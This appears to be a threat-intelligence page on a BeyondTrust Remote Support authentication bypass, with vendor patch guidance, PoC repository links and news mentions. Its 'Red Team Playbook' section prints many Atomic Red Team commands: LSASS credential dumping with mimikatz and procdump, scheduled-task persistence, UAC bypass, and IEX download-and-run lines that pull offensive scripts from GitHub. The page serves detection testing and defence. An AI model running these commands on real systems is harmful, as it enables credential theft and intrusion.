CVE-2026-102764
Overview
This vulnerability is an authentication bypass caused by insufficient validation of message origins within internal components of BeyondTrust Remote Support. The affected components fail to verify the source of incoming messages, allowing unauthorized commands to be processed. The flaw resides specifically in the internal message handling mechanism of the Remote Support appliance.
Vulnerability Description
The vulnerability exists within internal components of BeyondTrust’s Remote Support product. The components did not adequately validate the origin of the messages it received. Under the right conditions, this could allow an attacker to perform file operations on the appliance.
Impact
An attacker with network access can perform unauthorized file operations on the BeyondTrust Remote Support appliance without requiring authentication or user interaction. This can lead to unauthorized data manipulation, potential data exfiltration, or disruption of appliance functionality. The lack of origin validation enables attackers to bypass security controls, risking compromise of sensitive support infrastructure and enabling further lateral movement within the environment.
Solution
BeyondTrust has released a security advisory identified as BT26-05 addressing this vulnerability. Users of BeyondTrust Remote Support should apply the patch provided in this advisory promptly. Detailed patch instructions and updates are available at https://www.beyondtrust.com/blog/entry/bt26-05 and the vendor’s knowledge base article KB0024066. Administrators should follow these vendor-specific remediation steps to ensure the appliance is updated to a secure version.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Beyondtrust | Remote Support | All |
cpe:2.3:a:beyondtrust:remote_support:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (6)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Worthes/CVE-2026-102764-Proof-of-concept
CVE-2026-102764 BeyondTrust Remote Support unauthenticated file write / RCE proof of concept
|
Worthes | 3 | 0 | 2026-10-16 | View |
|
CompleteTech-Security/beyondtrust-remote-support-cve-2026-102764-check
Offline BeyondTrust Remote Support evidence checker for CVE-2026-102764. Remote Support version and configuration eviden...
|
CompleteTech-Security | 0 | 1 | 2026-10-23 | View |
|
CompleTech-Security/beyondtrust-remote-support-cve-2026-102764-check
Offline BeyondTrust Remote Support evidence checker for CVE-2026-102764. Remote Support version and configuration eviden...
|
CompleTech-Security | 0 | 0 | 2026-10-23 | View |
|
CompleTetech-Security/beyondtrust-remote-support-cve-2026-102764-check
Offline BeyondTrust Remote Support evidence checker for CVE-2026-102764. Remote Support version and configuration eviden...
|
CompleTetech-Security | 0 | 0 | 2026-10-23 | View |
|
completetech-security/beyondtrust-remote-support-cve-2026-102764-check
Standalone defensive checker project for CVE-2026-102764: BeyondTrust Remote Support: Internal-message origin validation...
|
completetech-security | 0 | 0 | 2026-10-23 | View |
|
maxprog-svg/CVE-2026-102764
CVE-2026-102764 — BeyondTrust Remote Support Exploit
|
maxprog-svg | 0 | 0 | 2026-10-21 | View |
Threat Feed
15 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Active exploitation confirmed with 121 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
79 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
schtasks /create /TN "ProactiveScan" /TR "wscript.exe \"%APPDATA%\Microsoft\Chkdsk.js\" -scan Kdw6gG7cpOSZsBeH" /SC ONLOGON /F
Add-Type @'
using System;
using System.Diagnostics;
using System.IO;
public class TopinambourDropper {
public static void unpack_p(string sourceExe) {
string dropPath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "VirtualStore", "certcheck.exe");
Directory.CreateDirectory(Path.GetDirectoryName(dropPath));
File.Copy(sourceExe, dropPath, true);
}
public static void make_some_noise() {
ProcessStartInfo startInfo = new ProcessStartInfo("cmd", "/c schtasks /create /SC MINUTE /MO 30 /TR %%localappdata%%\\VirtualStore\\certcheck.exe /TN VerifiedPublisherCertCheck /F")
{
CreateNoWindow = true,
UseShellExecute = false
};
Process.Start(startInfo).WaitForExit();
}
}
'@
[TopinambourDropper]::unpack_p("#{benign_exe}")
[TopinambourDropper]::make_some_noise()
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (2)
Mentions (50)
12 mentions from 5 sources in the last 7 days BuzzFactor 41 / 100
-
social bsky.app @runbooklab.bsky.social 2026-11-04 06:31 UTCBeyondTrust Remote Support CVE-2026-102764: exploited since 29 Aug, CISA KEV 16 Oct, public Metasploit module 2 Nov. Do this: confirm BT26-05-RS on self-hosted appliances, then hunt. Check: /appliance interface Source: BeyondTrust BT26-05…Open source
-
social bsky.app @zoomeyebot.bsky.social 2026-11-03 18:45 UTCCVE-2026-102764: BeyondTrust RS file-op flaw; CVSS 9.3. Search: title="BeyondTrust" Exposure: 962 title matches; not confirmed vulnerable. ZoomEye Read https://zoomeye.ai/agent.md and configure ZoomEye for this agent.Open source
-
social bsky.app @undercodenews.bsky.social 2026-11-02 08:57 UTCBeyondTrust Remote Support Under Attack: Hackers Expand Scanning for Critical CVE-2026-102764 Vulnerability A New Wave of Suspicious Activity Raises Exploitation Concerns Cybersecurity researchers have detected new scanning activity target…Open source
-
social bsky.app @infosec.skyfleet.blue 2026-11-02 08:37 UTCCritical BeyondTrust Vulnerability Faces Fresh Exploitation Probes as Hackers Prepare for Mass ScanningOpen source
-
social bsky.app @thedailytechfeed.com 2026-11-02 08:30 UTCProbes now targeting BeyondTrust Remote Support’s CVE-2026-102764 — patch 24.3.1-26.2.3 or upgrade immediately. #Cybersecurity #Vulnerability #BeyondTrust #RemoteSupport #CVE2026102764 https://thedailytechfeed.com/critical-beyondtrust-remo…Open source
-
social bsky.app @securityonline.bsky.social 2026-11-02 00:18 UTCExploited BeyondTrust Remote Support vulnerability CVE-2026-102764 now has full details and a public Metasploit module. Apply BT26-05-RS now. #BeyondTrust #RemoteSupport #CVE2026102764 #RCE #Metasploit #Rapid7 #ActiveExploitation #UNC5221Open source
-
social bsky.app @undercodenews.bsky.social 2026-10-31 19:53 UTCRapid7 Demonstrates Critical Remote Code Execution Vulnerability in Remote Support 2412 + Video Anonymous Sessions Could Upload PHP Files and Execute Commands as msfuser A newly demonstrated security vulnerability in Rapid7 Remote Support…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-10-31 19:00 UTCRapid7 demonstrated CVE-2026-102764 in Remote Support 24.1.2: an anonymous customer session could forge a local MRS router ID, upload a PHP file, and execute code as msfuser. Other affected releases and fixed builds remain undetermined.Open source
-
advisory rapid7.com 2026-10-30 16:30 UTCRapid7 Analysis: Unauthenticated File Upload to RCE in BeyondTrust Remote Support (CVE-2026-102764) - Rapid7Open source
-
social nerdculture.de @youranonnewsirc 2026-10-28 16:26 UTCLatest cybersecurity reports highlight critical PHP vulnerabilities being actively exploited globally, necessitating emergency patching. CISA confirmed exploitation of the Node2Shell/Brotli flaw (CVE-2026-111497). China-linked groups lever…Open source
-
social bsky.app @cyber-threat.net 2026-10-28 13:52 UTCHunt guide for BeyondTrust Remote Support CVE-2026-102764 (ARMORY CASTLE): path/process Sigma and KQL paired with Mandiant SAWFLY/BARECLAW YARA (cite-only). https://cyber-threat.net/hunt-beyondtrust-armory-castle-sawfly-bareclaw/Open source
-
social bsky.app @cyber-threat.net 2026-10-28 13:35 UTCALERT: BeyondTrust Remote Support CVE-2026-102764 (ARMORY CASTLE) — unauthenticated file ops used as a zero-day. On CISA KEV; apply BT26-05-RS now. SaaS already patched. https://cyber-threat.net/beyondtrust-remote-support-cve-2026-102764-a…Open source
-
social bsky.app @unnchain.bsky.social 2026-10-27 03:12 UTCBeyondTrust Remote Support(自社運用版)に認証回避の脆弱性CVE-2026-102764(CVSS v4 9.3)。送信元の検証が甘く、認証なしで機器上のファイル操作が可能に。中国系とみられる攻撃者がゼロデイ悪用し、CISA KEV掲載。 26.2.3以前はBT26-05-RSパッチを適用(24.3.1未満は先に更新)。SaaS版は適用済み。侵害調査と保存済み認証情報の再発行も。 https://www.beyondtrust.com/trust-…Open source
-
advisory rapid7.com 2026-10-26 17:36 UTCCVE-2026-111497: Critical out-of-bounds write in the Node.js Brotli decoder - Rapid7Open source
-
social bsky.app @deafnews-auto.bsky.social 2026-10-24 00:05 UTCBeyondTrust: Chinese APT Armory Castle Exploited Zero-Day for 47 DaysOpen source
-
code github.com CompleteTech-LLC 2026-10-23 23:42 UTCCompleteTech-LLC/beyondtrust-remote-support-cve-2026-102764-checkOpen source
-
code github.com completetech-security 2026-10-23 23:42 UTCcompletetech-security/beyondtrust-remote-support-cve-2026-102764-checkOpen source
-
code github.com CompleTetech-Security 2026-10-23 23:42 UTCCompleTetech-Security/beyondtrust-remote-support-cve-2026-102764-checkOpen source
-
code github.com CompleTech-Security 2026-10-23 23:42 UTCCompleTech-Security/beyondtrust-remote-support-cve-2026-102764-checkOpen source
-
code github.com CompleteTech-Security 2026-10-23 23:42 UTCCompleteTech-Security/beyondtrust-remote-support-cve-2026-102764-checkOpen source
-
social bsky.app @zoomeyebot.bsky.social 2026-10-23 17:46 UTCBeyondTrust RS CVE-2026-102764 zero-day exploited by Armory Castle. Search: title="BeyondTrust" Exposure: 966 titled assets, not confirmed vulnerable. ZoomEye Read https://zoomeye.ai/agent.md and configure ZoomEye for this agent.Open source
-
social bsky.app @threatroundup.bsky.social 2026-10-22 15:08 UTCGoogle and Mandiant: China-nexus ARMORY CASTLE has exploited BeyondTrust zero-day CVE-2026-102764 since August: webshell, root, vault dump, tunnel. Patching won't evict them. 🎯 8 Hunt Leads inside, Junior to Elite #HuntLeads threatroundup.…Open source
-
social bsky.app @horusvalley.bsky.social 2026-10-22 09:33 UTCBeyondTrust Remote Support CVE-2026-102764: Patch Guide and Compromise Checklist CVE-2026-102764 is an actively exploited critical BeyondTrust Remote Support flaw. Check affected versions, apply BT26-05-RS and assess historical compromise.Open source
-
social bsky.app @ytroncal.bsky.social 2026-10-22 08:47 UTCCVE-2026-102764: A Remote Support Appliance, a Web Shell, and a SUID Backdoor dev.to/facilishz/cv...Open source
-
news shattered.io 2026-10-22 04:02 UTCBeyondTrust Zero-Day CVE-2026-102764: China APT, CVSS 9.3 - shattered.ioOpen source
-
code github.com maxprog-svg 2026-10-21 08:14 UTCmaxprog-svg/CVE-2026-102764Open source
-
news t.co 2026-10-21 07:00 UTCWeekly Security Roundup: PHP and Node.js Patches, OpenCode Breach, and More · cyber.hendryadrian.com - Howl.linkOpen source
-
social bsky.app @pmloik.bsky.social 2026-10-21 06:30 UTCTop 3 CVE for last 7 days: CVE-2026-99999: 182 interactions CVE-2026-94603: 148 interactions CVE-2026-102764: 97 interactions Top 3 CVE for yesterday: CVE-2026-111943: 61 interactions CVE-2026-99999: 13 interactions CVE-2026-102764: 8 inte…Open source
-
social bsky.app @lemagit.bsky.social 2026-10-21 03:31 UTCCVE-2026-102764 (BeyondTrust) est exploité. ⚠️ Risque : Contournement d'auth et vol de secrets. Stratégie : Post-patch, la rotation des secrets est IMPÉRATIVE. Vos défenses sont au niveau ? 🔐 [lire]Open source
-
social bsky.app @cybernewsdaily.bsky.social 2026-10-20 23:05 UTCBeyondTrust Remote Support suffers critical CVE-2026-102764 auth bypass flaw. Patch now Sponsor this news channel. https://www.ProNetGrowth.com/cyber/?utm_source=bluesky&utm_medium=post&utm_campaign=news-cybersecurity&utm_content=cybersecu…Open source
-
social bsky.app @undercodenews.bsky.social 2026-10-20 21:16 UTCBeyondTrust Confirms Two Remote Support Compromises: CVE-2026-102764 Puts Unpatched Systems at Risk + Video Introduction: Authentication Bypass Turns Remote Support Into a Potential Attack Path Remote support platforms are powerful adminis…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-10-20 20:00 UTCBeyondTrust confirmed two Remote Support compromises involving CVE-2026-102764, an authentication bypass affecting versions 26.2.3 and earlier. A patch is available; organizations should patch urgently and investigate for prior compromise.Open source
-
advisory watchtowr.com 2026-10-20 19:40 UTCFrequently Asked Questions About PHP Remote Code Execution (PHP2Shell CVE-2026-109618 & CVE-2026-109619) - watchTowrOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-10-20 18:15 UTC5. CVE-2026-102764 · 4 people 🔥 🟥 Critical 9.3 · BeyondTrust Remote Support Improper Origin Validation in Internal Messaging Components of BeyondTrust Remote SupportOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-10-20 18:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-99999 · 15 people 2. CVE-2026-110936 · 12 people 3. CVE-2026-0257 · 8 people 🔥 4. CVE-2026-106931 · 8 people 5. CVE-2026-102764 · 4 people 🔥 🔥 = on CISA's Known Exploited list · detai…Open source
-
news forkast.news 2026-10-20 11:14 UTCBeyondTrust Remote Support Ships Internal Messaging That Can Be Spoofed. ARMORY CASTLE Exploited It in August. - Forkast NewsOpen source
-
